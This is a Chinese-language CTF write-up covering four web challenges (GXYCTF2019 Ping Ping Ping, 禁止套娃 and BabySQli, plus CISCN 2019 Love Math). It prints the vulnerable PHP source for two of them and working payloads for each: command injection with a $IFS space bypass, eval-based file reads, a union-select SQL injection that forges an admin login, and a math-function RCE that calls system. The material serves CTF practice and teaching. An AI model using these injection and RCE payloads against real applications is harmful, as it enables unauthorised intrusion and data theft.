GXYCTF

1.[GXYCTF2019]Ping Ping Ping

这道题是让我们输入ip,因此可以利用linux中的命令。

这里过滤了空格,因此需要用$IFS代替,绕过思路 ip=;|cat$IFS`ls`

 这里会看到过滤的一些原则,因此需要用到字符串拼接一下。

payload:

ip = 127.0.0.1;b=fl;a=ag;cat$IFS$a$b.php

2.[GXYCTF2019]禁止套娃

Githack先把源码down下来,python GitHack.py url/.git/

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

这道题和极客有一道题的payload有些相似,不过引入了一个localeconv()

这个函数是用来返回数组。

这里涉及到的几个函数

localeconv() 函数返回包含数字的数组
scandir() 列出目录
readfile 读文件
current 返回当前数组
pos() 和current用法一样
next()  指向数组的下一个元素
array_reverse() 数组掉转

payload:
exp=print_r(scandir(current(localeconv())));

 现在我们是要读取flag.php

因此需要把数组掉转,然后读第二个文件。

payload:exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

3.[GXYCTF2019]BabySQli

这个题目出的思路挺巧妙的

首先是一个登录页面,当然就是试一下admin,admin'这样的尝试。

发现返回wrong pwd页面后有一个加密字符串,看wp是base32加密

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5  //base32

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw== //base64

select * from user where username = '$name'

可以尝试一下查询这个数据库字段,表,这些常规操作。

admin' union select 1,2,3#

一共有3列

 我们需要在user表中查询我们想要的数据,在sql数据库里,当联合查询一个不存在的数据时会虚拟一个根据使用表排序的数据,payload:

即例如我们输入的密码是123,将123进行md5加密后:202cb962ac59075b964b07152d234b70

name=0' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

 4.CISCN 2019 Love math

这是国赛的一道题

先来看代码吧

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

代码逻辑比较直接

1.字符长度限制在80个以内

2.不能使用黑名单里的字符

3.只含白名单内的字符串/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/

这是一个用字符构造rce的题首先了解一个特性

1.php中字符串可以作为函数名出现
$fuction="sayhello",$fuction()
这里借鉴师傅们的做法

1.利用数字进制转换

base_convert(37907361743,10,36) => "hex2bin" dechex(1598506324) => "5f474554" $pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串 ($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

 payload:$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag

 

猜你喜欢

转载自www.cnblogs.com/sylover/p/12254539.html
今日推荐